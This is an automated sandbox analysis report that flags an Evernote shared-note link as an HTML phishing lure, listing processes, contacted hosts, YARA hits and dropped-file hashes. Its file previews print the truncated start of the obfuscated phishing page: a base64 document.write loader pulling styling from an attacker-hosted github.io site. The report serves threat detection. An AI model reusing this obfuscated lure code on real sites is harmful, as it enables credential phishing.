
ID: 756134
Cookbook:
defaultwindowsinteractivecookbook.jbs
Time: 17:12:37
Date: 29/11/2022
Version: 36.0.0 Rainbow Opal
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Windows Analysis Report 
https://www.evernote.com/shard/s443/sh/16f13b8c-02 -0a26-4836-50c84b9d360b/0d9feaf1d42defc3a56edc7c078ed34b…

Overview

General Information
Sample URL: https://www.evernote.com

/shard/s443/sh/16f13b8c-
02ff-0a26-4836-
50c84b9d360b/0d9feaf1d4
2defc3a56edc7c078ed34b

Analysis ID: 756134

Detection

HTMLPhisher

Score: 52

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Yara detected HtmlPhish10

Phishing site detected (based on im…

HTML body contains low number of …

Invalid T&C link found

None HTTPS page querying sensitiv…

No HTML title found

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64_ra

chrome.exe (PID: 6268 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.evernote.com/shard/s443/sh
/16f13b8c-02ff-0a26-4836-50c84b9d360b/0d9feaf1d42defc3a56edc7c078ed34b MD5: 7BC7B4AEDC055BB02BCB52710132E9E1)

chrome.exe (PID: 6432 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --
service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1876,i,5793143598287430493,15367685435829181166,131072 --disable-features
=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8 MD5: 7BC7B4AEDC055BB02BCB52710132E9E1)

cleanup

Source Rule Description Author Strings

35583.3.pages.csv JoeSecurity_HtmlP
hish_10

Yara detected 
HtmlPhish_10

Joe Security

⊘ No Sigma rule has matched

⊘ No Snort rule has matched

Process Tree

Yara Signatures

HTML

Sigma Signatures

Snort Signatures
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This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Joe Sandbox Signatures

Yara detected HtmlPhish10

Phishing site detected (based on image similarity)

Mitre Att&ck Matrix

Screenshots

Thumbnails
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Source Detection Scanner Label Link

https://www.evernote.com/shard/s443/sh/16f13b8c-02ff-0a26-4836-50c84b9d360b/0d9feaf1d42def
c3a56edc7c078ed34b

0% Avira URL Cloud safe

https://www.evernote.com/shard/s443/sh/16f13b8c-02ff-0a26-4836-50c84b9d360b/0d9feaf1d42def
c3a56edc7c078ed34b

1% Virustotal Browse

⊘ No Antivirus matches

⊘ No Antivirus matches

⊘ No Antivirus matches

⊘ No Antivirus matches

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Copyright Joe Security LLC 2022 Page 5 of 9

https://www.virustotal.com/gui/url/46302c26dcb4fa374d3ec264a3f9af060ef1dca866945b546a5c847ad05808ec/detection/u-46302c26dcb4fa374d3ec264a3f9af060ef1dca866945b546a5c847ad05808ec-1669666866


Name IP Active Malicious Antivirus Detection Reputation

stackpath.bootstrapcdn.com 104.18.11.207 true false high

accounts.google.com 142.250.181.237 true false high

dashboard.svc.www.evernote.com 35.190.3.250 true false high

holligoat.github.io 185.199.108.153 true false unknown

cdnjs.cloudflare.com 104.17.24.14 true false high

maxcdn.bootstrapcdn.com 104.18.11.207 true false high

www.google.com 142.250.186.36 true false high

clients.l.google.com 142.250.185.206 true false high

stats.g.doubleclick.net 64.233.167.156 true false high

clients2.google.com unknown unknown false high

code.jquery.com unknown unknown false high

content.evernote.com unknown unknown false high

www.evernote.com unknown unknown false high

Name Malicious Antivirus Detection Reputation

https://www.evernote.com/shard/s443/client/snv/ce false high

https://www.evernote.com/shard/s443/client/snv?noteGuid=16f13b8c-02ff-0a26-4836-50c84b9d36
0b&noteKey=0d9feaf1d42defc3a56edc7c078ed34b&sn=https%3A%2F%2Fwww.evernote.com%2F
shard%2Fs443%2Fsh%2F16f13b8c-02ff-0a26-4836-50c84b9d360b%2F0d9feaf1d42defc3a56ed
c7c078ed34b&title=Lexington%2BPublic%2BLibrary%2B%2526%2BLibrary%2BFoundation

false high

file:///C:/Users/alfredo/Downloads/message%20html.html true low

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

88.221.168.234 unknown European Union 16625 AKAMAI-ASUS false

104.17.24.14 cdnjs.cloudflare.com United States 13335 CLOUDFLARENETUS false

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs
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142.250.185.67 unknown United States 15169 GOOGLEUS false

142.250.185.206 clients.l.google.com United States 15169 GOOGLEUS false

34.104.35.123 unknown United States 15169 GOOGLEUS false

64.233.167.156 stats.g.doubleclick.net United States 15169 GOOGLEUS false

216.58.212.131 unknown United States 15169 GOOGLEUS false

23.3.108.212 unknown United States 16625 AKAMAI-ASUS false

198.54.119.160 unknown United States 22612 NAMECHEAP-NETUS false

142.250.185.202 unknown United States 15169 GOOGLEUS false

142.250.181.237 accounts.google.com United States 15169 GOOGLEUS false

104.18.11.207 stackpath.bootstrapcdn.c
om

United States 13335 CLOUDFLARENETUS false

216.239.38.178 unknown United States 15169 GOOGLEUS false

239.255.255.250 unknown Reserved unknown unknown false

69.16.175.10 unknown United States 20446 HIGHWINDS3US false

35.190.3.250 dashboard.svc.www.ever
note.com

United States 15169 GOOGLEUS false

185.199.108.153 holligoat.github.io Netherlands 54113 FASTLYUS false

172.217.16.196 unknown United States 15169 GOOGLEUS false

142.250.184.234 unknown United States 15169 GOOGLEUS false

142.250.74.195 unknown United States 15169 GOOGLEUS false

IP Domain Country Flag ASN ASN Name Malicious

IP

192.168.2.2

192.168.2.1

127.0.0.1

Joe Sandbox Version: 36.0.0 Rainbow Opal

Analysis ID: 756134

Start date and time: 2022-11-29 17:12:37 +01:00

Joe Sandbox Product: CloudBasic

Overall analysis duration:

Hypervisor based Inspection enabled: false

Report type: light

Cookbook file name: defaultwindowsinteractivecookbook.jbs

Sample URL: https://www.evernote.com/shard/s443/sh/16f13b8c-02ff-0a26-4836-50c84b9d360b/0d9feaf1d42defc3a56edc7c078ed34b

Analysis system description: Windows 10 64 bit version 1909 (MS Office 2019, IE 11, Chrome 104, Firefox 88, Adobe Reader DC 21, Java 8 u291, 7-Zip)

Number of analysed new started processes 
analysed:

13

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: EGA enabled

Analysis Mode: stream

Analysis stop reason: Timeout

Detection: MAL

Classification: mal52.phis.win@33/3@15/209

Exclude process from analysis (whitelisted): SIHClient.exe
Excluded IPs from analysis (wh itelisted): 88.221.168.234, 216.58.212.131, 34.104.35.123, 216.239.38.178, 216.239.36.178, 216.239.34.178, 216.239.32.178, 23.3.108.212,
142.250.184.234, 69.16.175.10, 69.16.175.42, 142.250.185.202, 142.250.185.195, 142.250.185.67
Excluded domains from analysis (whitelisted): www.bing.com, fonts.googleapis.com, cds.s5x3j6q5.hwcdn.net, fs.microsoft.com, www.evernote.com.edgekey.net,
slscr.update.microsoft.com, ajax.googleapis.com, fonts.gstatic.com, e7641.b.akamaiedge.net, www-alv.google-analytics.com, ctldl.windowsupdate.com, clientservices.googleapis.com,
edgedl.me.gvt1.com, login.live.com, www.google-analytics.com
Not all processes where analyzed, report is missing behavior  information

Private

General Information

Warnings
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Report size getting too big, t oo many NtWriteVirtualMemory calls found.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: HTML document, ASCII text, with very long lines (37045)

Category: dropped

Size (bytes): 37526

Entropy (8bit): 5.325010756401686

Encrypted: false

SSDEEP:

MD5: 394934A01D5206608578A8ACBCC0AE85

SHA1: B3C5FC5006E1E891AF3D5A980EEA1C50880D92E8

SHA-256: 94FE4884EBE70DF3F9AFDB50987BA5DA3DFD32379757AAA5C3D9BA3CBDBAA689

SHA-512: E25022A4894C9B4EE41A166E473149C99B26DE37A5DEE3DE565E3467444A28F5A528DA22FC99E64DA08AB7D1DD4D63F3203C23509C17931FC8BB26FEB89631A
C

Malicious: false

Reputation: low

Preview: <!DOCTYPE html>.<html>.<script type="text/javascript">.document.write(decodeURIComponent(atob('JTNDaHRtbCUzRSUwQSUwQSUzQ2hlYWQlM0UlMEElMjAlM
jAlMjAlMjAlM0NtZXRhJTIwY2hhcnNldCUzRCUyMlVURi04JTIyJTIwbmFtZSUzRCUyMnZpZXdwb3J0JTIyJTIwY29udGVudCUzRCUyMndpZHRoJTNEZGV2a
WNlLXdpZHRoJTJDJTIwaW5pdGlhbC1zY2FsZSUzRDEuMCUyQyUyMG1heGltdW0tc2NhbGUlM0QxLjAlMkMlMjBtaW5pbXVtLXNjYWxlJTNEMS4wJTJDJTIwd
XNlci1zY2FsYWJsZSUzRG5vJTIyJTNFJTBBJTIwJTIwJTIwJTIwJTNDdGl0bGUlM0VTaGFyaW5nJTIwTGluayUyMFZhbGlkYXRpb24lM0MlMkZ0aXRsZSUzR
SUwQSUyMCUyMCUyMCUyMCUzQ2xpbmslMjByZWwlM0QlMjdzdHlsZXNoZWV0JTIwcHJlZmV0Y2glMjclMjBocmVmJTNEJTI3aHR0cHMlM0ElMkYlMkZmb250c
y5nb29nbGVhcGlzLmNvbSUyRmNzcyUzRmZhbWlseSUzRE9wZW4lMkJTYW5zJTNBNjAwJTI3JTNFJTBBJTIwJTIwJTIwJTIwJTNDbGluayUyMHJlbCUzRCUyM
nN0eWxlc2hlZXQlMjIlMjBocmVmJTNEJTIyaHR0cHMlM0ElMkYlMkZob2xsaWdvYXQuZ2l0aHViLmlvJTJGc2V0JTJGc2hhcmUtcG9pbnQuY3NzJTIyJTNFJTBBJTIwJTI
wJTIwJTIwJTNDIS0tJTIwQm9vdHN0cmFwJTIwQ1NTJTIwLS0lM0UlMEElMjAlMjAlMjAlMjAlM0NsaW5rJTIwcmVsJTNEJTIyc3R5bGVzaGVldCUyMiUyMGhyZWYlM0QlM

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: HTML document, ASCII text, with very long lines (37045)

Category: dropped

Size (bytes): 37526

Entropy (8bit): 5.325010756401686

Encrypted: false

SSDEEP:

MD5: 394934A01D5206608578A8ACBCC0AE85

SHA1: B3C5FC5006E1E891AF3D5A980EEA1C50880D92E8

SHA-256: 94FE4884EBE70DF3F9AFDB50987BA5DA3DFD32379757AAA5C3D9BA3CBDBAA689

SHA-512: E25022A4894C9B4EE41A166E473149C99B26DE37A5DEE3DE565E3467444A28F5A528DA22FC99E64DA08AB7D1DD4D63F3203C23509C17931FC8BB26FEB89631A
C

Malicious: false

Reputation: low

Preview: <!DOCTYPE html>.<html>.<script type="text/javascript">.document.write(decodeURIComponent(atob('JTNDaHRtbCUzRSUwQSUwQSUzQ2hlYWQlM0UlMEElMjAlM
jAlMjAlMjAlM0NtZXRhJTIwY2hhcnNldCUzRCUyMlVURi04JTIyJTIwbmFtZSUzRCUyMnZpZXdwb3J0JTIyJTIwY29udGVudCUzRCUyMndpZHRoJTNEZGV2a
WNlLXdpZHRoJTJDJTIwaW5pdGlhbC1zY2FsZSUzRDEuMCUyQyUyMG1heGltdW0tc2NhbGUlM0QxLjAlMkMlMjBtaW5pbXVtLXNjYWxlJTNEMS4wJTJDJTIwd
XNlci1zY2FsYWJsZSUzRG5vJTIyJTNFJTBBJTIwJTIwJTIwJTIwJTNDdGl0bGUlM0VTaGFyaW5nJTIwTGluayUyMFZhbGlkYXRpb24lM0MlMkZ0aXRsZSUzR
SUwQSUyMCUyMCUyMCUyMCUzQ2xpbmslMjByZWwlM0QlMjdzdHlsZXNoZWV0JTIwcHJlZmV0Y2glMjclMjBocmVmJTNEJTI3aHR0cHMlM0ElMkYlMkZmb250c
y5nb29nbGVhcGlzLmNvbSUyRmNzcyUzRmZhbWlseSUzRE9wZW4lMkJTYW5zJTNBNjAwJTI3JTNFJTBBJTIwJTIwJTIwJTIwJTNDbGluayUyMHJlbCUzRCUyM
nN0eWxlc2hlZXQlMjIlMjBocmVmJTNEJTIyaHR0cHMlM0ElMkYlMkZob2xsaWdvYXQuZ2l0aHViLmlvJTJGc2V0JTJGc2hhcmUtcG9pbnQuY3NzJTIyJTNFJTBBJTIwJTI
wJTIwJTIwJTNDIS0tJTIwQm9vdHN0cmFwJTIwQ1NTJTIwLS0lM0UlMEElMjAlMjAlMjAlMjAlM0NsaW5rJTIwcmVsJTNEJTIyc3R5bGVzaGVldCUyMiUyMGhyZWYlM0QlM

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: HTML document, ASCII text, with very long lines (37045)

Category: dropped

Size (bytes): 37526

Entropy (8bit): 5.325010756401686

Encrypted: false

SSDEEP:

MD5: 394934A01D5206608578A8ACBCC0AE85

Created / dropped Files

C:\Users\alfredo\Downloads\b72f04df-137b-4b17-9464-6169414c94f2.tmp

C:\Users\alfredo\Downloads\message html.html (copy)

C:\Users\alfredo\Downloads\message html.html.crdownload (copy)
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SHA1: B3C5FC5006E1E891AF3D5A980EEA1C50880D92E8

SHA-256: 94FE4884EBE70DF3F9AFDB50987BA5DA3DFD32379757AAA5C3D9BA3CBDBAA689

SHA-512: E25022A4894C9B4EE41A166E473149C99B26DE37A5DEE3DE565E3467444A28F5A528DA22FC99E64DA08AB7D1DD4D63F3203C23509C17931FC8BB26FEB89631A
C

Malicious: false

Reputation: low

Preview: <!DOCTYPE html>.<html>.<script type="text/javascript">.document.write(decodeURIComponent(atob('JTNDaHRtbCUzRSUwQSUwQSUzQ2hlYWQlM0UlMEElMjAlM
jAlMjAlMjAlM0NtZXRhJTIwY2hhcnNldCUzRCUyMlVURi04JTIyJTIwbmFtZSUzRCUyMnZpZXdwb3J0JTIyJTIwY29udGVudCUzRCUyMndpZHRoJTNEZGV2a
WNlLXdpZHRoJTJDJTIwaW5pdGlhbC1zY2FsZSUzRDEuMCUyQyUyMG1heGltdW0tc2NhbGUlM0QxLjAlMkMlMjBtaW5pbXVtLXNjYWxlJTNEMS4wJTJDJTIwd
XNlci1zY2FsYWJsZSUzRG5vJTIyJTNFJTBBJTIwJTIwJTIwJTIwJTNDdGl0bGUlM0VTaGFyaW5nJTIwTGluayUyMFZhbGlkYXRpb24lM0MlMkZ0aXRsZSUzR
SUwQSUyMCUyMCUyMCUyMCUzQ2xpbmslMjByZWwlM0QlMjdzdHlsZXNoZWV0JTIwcHJlZmV0Y2glMjclMjBocmVmJTNEJTI3aHR0cHMlM0ElMkYlMkZmb250c
y5nb29nbGVhcGlzLmNvbSUyRmNzcyUzRmZhbWlseSUzRE9wZW4lMkJTYW5zJTNBNjAwJTI3JTNFJTBBJTIwJTIwJTIwJTIwJTNDbGluayUyMHJlbCUzRCUyM
nN0eWxlc2hlZXQlMjIlMjBocmVmJTNEJTIyaHR0cHMlM0ElMkYlMkZob2xsaWdvYXQuZ2l0aHViLmlvJTJGc2V0JTJGc2hhcmUtcG9pbnQuY3NzJTIyJTNFJTBBJTIwJTI
wJTIwJTIwJTNDIS0tJTIwQm9vdHN0cmFwJTIwQ1NTJTIwLS0lM0UlMEElMjAlMjAlMjAlMjAlM0NsaW5rJTIwcmVsJTNEJTIyc3R5bGVzaGVldCUyMiUyMGhyZWYlM0QlM

⊘ No static file info

Static File Info
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